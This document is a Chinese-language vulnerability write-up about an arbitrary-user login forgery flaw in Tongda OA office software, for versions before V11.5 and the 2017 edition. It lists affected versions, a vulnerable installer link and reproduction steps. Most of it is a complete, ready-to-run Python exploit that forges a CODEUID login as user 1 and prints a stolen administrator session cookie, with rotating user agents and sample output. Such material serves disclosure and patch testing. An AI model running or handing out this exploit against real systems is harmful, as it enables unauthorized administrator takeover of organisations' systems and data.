通达OA v11.5 login_code.php 任意用户登录

漏洞描述

通达OA是一套办公系统。2020年04月17日, 通达OA官方在更新了一个v11版本安全补丁, 其中修复了一个任意用户伪造登录漏洞。 该漏洞类型为任意用户伪造，未经授权的远程攻击者可以通过精心构造的请求包进行任意用户伪造登录。

影响版本

通达OA 2017版

通达OA版本 V11.X < V11.5

环境搭建

漏洞环境下载：https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe

双击安装即可

漏洞复现

使用POC (opens new window)获取管理员的Cookie

root@kali:~/桌面# python3 1.py -v 11 -u http://xx.xxx.xxx.xxx
[+]Get Available COOKIE:PHPSESSID=sr3f46qg6539khd3e3rrucoa72; path=/

成功获得Cookie,添加Cookie访问

/general/index.php?isIE=0&modify_pwd=0

漏洞POC

'''
@Author         : Sp4ce
@Date           : 2020-03-17 23:42:16
LastEditors    : Sp4ce
LastEditTime   : 2020-08-27 10:21:44
@Description    : Challenge Everything.
'''
import requests
from random import choice
import argparse
import json

USER_AGENTS = [
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
    "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
]

headers={}

def getV11Session(url):
    checkUrl = url+'/general/login_code.php'
    try:
        headers["User-Agent"] = choice(USER_AGENTS)
        res = requests.get(checkUrl,headers=headers)
        resText = str(res.text).split('{')
        codeUid = resText[-1].replace('}"}', '').replace('\r\n', '')
        getSessUrl = url+'/logincheck_code.php'
        res = requests.post(
            getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)
        tmp_cookie = res.headers['Set-Cookie']
        headers["User-Agent"] = choice(USER_AGENTS)
        headers["Cookie"] = tmp_cookie
        check_available = requests.get(url + '/general/index.php',headers=headers)
        if '用户未登录' not in check_available.text:
            if '重新登录' not in check_available.text:
                print('[+]Get Available COOKIE:' + tmp_cookie)
        else:
            print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.')
    except:
        print('[-]Something Wrong With '+url)



def get2017Session(url):
    checkUrl = url+'/ispirit/login_code.php'
    try:
        headers["User-Agent"] = choice(USER_AGENTS)
        res = requests.get(checkUrl,headers=headers)
        resText = json.loads(res.text)
        codeUid = resText['codeuid']
        codeScanUrl = url+'/general/login_code_scan.php'
        res = requests.post(codeScanUrl, data={'codeuid': codeUid, 'uid': int(
            1), 'source': 'pc', 'type': 'confirm', 'username': 'admin'},headers=headers)
        resText = json.loads(res.text)
        status = resText['status']
        if status == str(1):
            getCodeUidUrl = url+'/ispirit/login_code_check.php?codeuid='+codeUid
            res = requests.get(getCodeUidUrl)
            tmp_cookie = res.headers['Set-Cookie']
            headers["User-Agent"] = choice(USER_AGENTS)
            headers["Cookie"] = tmp_cookie
            check_available = requests.get(url + '/general/index.php',headers=headers)
            if '用户未登录' not in check_available.text:
                if '重新登录' not in check_available.text:
                    print('[+]Get Available COOKIE:' + tmp_cookie)
            else:
                print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.')
        else:
            print('[-]Something Wrong With '+url  + ' Maybe Not Vulnerable ?')
    except:
        print('[-]Something Wrong With '+url)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-v",
        "--tdoaversion",
        type=int,
        choices=[11, 2017],
        help="Target TongDa OA Version. e.g: -v 11、-v 2017")
    parser.add_argument(
        "-url",
        "--targeturl",
        type=str,
        help="Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1"
    )
    args = parser.parse_args()
    url = args.targeturl
    if 'http://' not in url:
        url = 'http://' + url
    if args.tdoaversion == 11:
        getV11Session(url)
    elif args.tdoaversion == 2017:
        get2017Session(url)
    else:
        parser.print_help()